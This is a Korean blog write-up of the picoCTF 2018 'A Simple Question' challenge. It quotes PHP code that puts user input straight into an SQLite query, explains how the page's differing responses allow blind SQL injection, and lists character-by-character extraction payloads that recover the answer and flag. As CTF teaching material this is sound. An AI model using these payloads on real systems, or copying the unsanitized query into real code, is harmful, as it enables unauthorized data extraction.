제리의 블로그

picoCTF 2018 A Simple Question Web Exploitation 본문

CTF

picoCTF 2018 A Simple Question Web Exploitation

j3rrry 2018. 10. 12. 23:10

A Simple Question - Points: 650 - (Solves: 783)


요약

본 Writeup은 Blind SQL 을 다룹니다.

html 소스코드를 확인해보면
answer2.phps 소스코드의 존재를 주석으로 알려주고 있었고

answer2.phps 내용을 보면
쿼리에 필터링은 없었고
쿼리가 참일 때는 "You are so close."
쿼리가 거짓일 때는 "Wrong."
쿼리가 에러날 때는 에러코드가 나왔다.
또 SQLite3 를 DBMS로 사용한다는 것도 알 수 있다.
테이블은 'answers' 라는 것도 알 수 있다.

answers 테이블에는
LIMIT 를 통해 튜플 1개란 것을 알아냈고
ORDER BY 를 통해 컬럼(속성) 1개란 것을 알아냈다.

substrunicode 함수를 이용해서
Blind SQL 을 한다.



Description

There is a website running at http://2018shell2.picoctf.com:2644 (link).
Try to see if you can answer its question.



Writeup




소스코드를 보면
<!-- source code is in answer2.phps -->
주석처리로 answer2.phps 가 있다는 것을 알 수 있고



<?php
  include "config.php";
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  $answer = $_POST["answer"];
  $debug = $_POST["debug"];
  $query = "SELECT * FROM answers WHERE answer='$answer'";
  echo "<pre>";
  echo "SQL query: ", htmlspecialchars($query), "\n";
  echo "</pre>";
?>
<?php
  $con = new SQLite3($database_file);
  $result = $con->query($query);

  $row = $result->fetchArray();
  if($answer == $CANARY)  {
    echo "<h1>Perfect!</h1>";
    echo "<p>Your flag is: $FLAG</p>";
  }
  elseif ($row) {
    echo "<h1>You are so close.</h1>";
  } else {
    echo "<h1>Wrong.</h1>";
  }
?>
SQLite3 DBMS 를 사용한다는 것을 알아냈다.



쿼리가 참이면




쿼리가 거짓이면





쿼리가 에러나면 에러코드가 나온다.




이제 SQLite3 쿼리로 Blind SQL 을 하면 된다.


answers 테이블에는 LIMIT 사용해봤는데 튜플 1개였고

ORDER BY 사용해봤는데 칼럼 1개였었다.




' or unicode(substr((select * from answers),1,1))=unicode('4') --
' or unicode(substr((select * from answers),2,1))=unicode('1') --
' or unicode(substr((select * from answers),3,1))=unicode('A') --
' or unicode(substr((select * from answers),4,1))=unicode('n') --
' or unicode(substr((select * from answers),5,1))=unicode('d') --
' or unicode(substr((select * from answers),6,1))=unicode('S') --
' or unicode(substr((select * from answers),7,1))=unicode('i') --
' or unicode(substr((select * from answers),8,1))=unicode('x') --
' or unicode(substr((select * from answers),9,1))=unicode('S') --
' or unicode(substr((select * from answers),10,1))=unicode('i') --
' or unicode(substr((select * from answers),11,1))=unicode('x') --
' or unicode(substr((select * from answers),12,1))=unicode('t') --
' or unicode(substr((select * from answers),13,1))=unicode('h') --
' or unicode(substr((select * from answers),14,1))=unicode('s') --



FLAG

SQL query: SELECT * FROM answers WHERE answer='41AndSixSixths'
Perfect!
Your flag is: picoCTF{qu3stions_ar3_h4rd_28fc1206}



substr
사용법: substr( string, start_position, [ length ] )
sqlite> SELECT substr('TechOnTheNet.com', 5);
        -> 'OnTheNet.com'
sqlite> SELECT substr('TechOnTheNet.com', 5, 2);
        -> 'On'
sqlite> SELECT substr('TechOnTheNet.com', 1, 4);
        -> 'Tech'
sqlite> SELECT substr('TechOnTheNet.com', -3, 3);
        -> 'com'
sqlite> SELECT substr('TechOnTheNet.com', -3, 1);
        -> 'c'
https://www.techonthenet.com/sqlite/functions/substr.php



unicode
사용법: unicode( char )
https://stackoverflow.com/questions/11604766/sqlite-char-ascii-function#answer-43873805


'CTF' 카테고리의 다른 글

picoCTF 2018 quackme Reversing  (0) 2018.09.30
Comments